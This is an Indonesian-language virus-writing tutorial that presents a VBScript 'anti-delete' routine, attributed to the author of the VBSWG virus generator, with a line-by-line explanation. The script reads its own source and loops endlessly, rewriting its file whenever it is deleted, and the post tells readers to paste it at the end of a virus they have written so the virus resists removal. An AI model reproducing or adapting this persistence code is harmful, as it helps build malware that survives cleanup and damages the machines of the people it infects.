Anti Delete File VBS

ini ada function khusus yang ditulis [K]alamar seorang budak argentina berusia 18 tahun pembuat VBSWG yang membuat dunia IT gempar.

----------------------------------------------------------------------------------

dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do

if fso.fileexists(wscript.scriptfullname) = false then

set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close

end if

loop

---------------------------------------------------------------------------------

dim fso, myself,mytext
- diklarasi variable

set fso = createobject("scripting.filesystemobject")
- buat file system objek

set myself = fso.opentextfile(wscript.scriptfullname)
- Buat textream objek memakai file vbs

mytext = myself.readall
- Meletakan semua file vbs dalam variable mytext

myself.close
- tutup textream

do
- Jalankan

if fso.fileexists(wscript.scriptfullname) = false then

- Memeriksa adakah Virus yang dibuat masih ada atau tidak, jika tidak maka....

set myself = fso.createtextfile(wscript.scriptfullname)
- virus akan dibuat lagi...

myself.write mytext
- tulis semua variable textream yang sudah di buat tadi

myself.close
-tutup

end if
- Nutup arahan

loop
- Ulang langkah diatas

Letakkan script diatas pada baris terakhir virus yang sudah dibuat kerana jika diletakan ditengah ataupun diatas maka script virus yang dibuat tidak mungkin dibaca semuanya....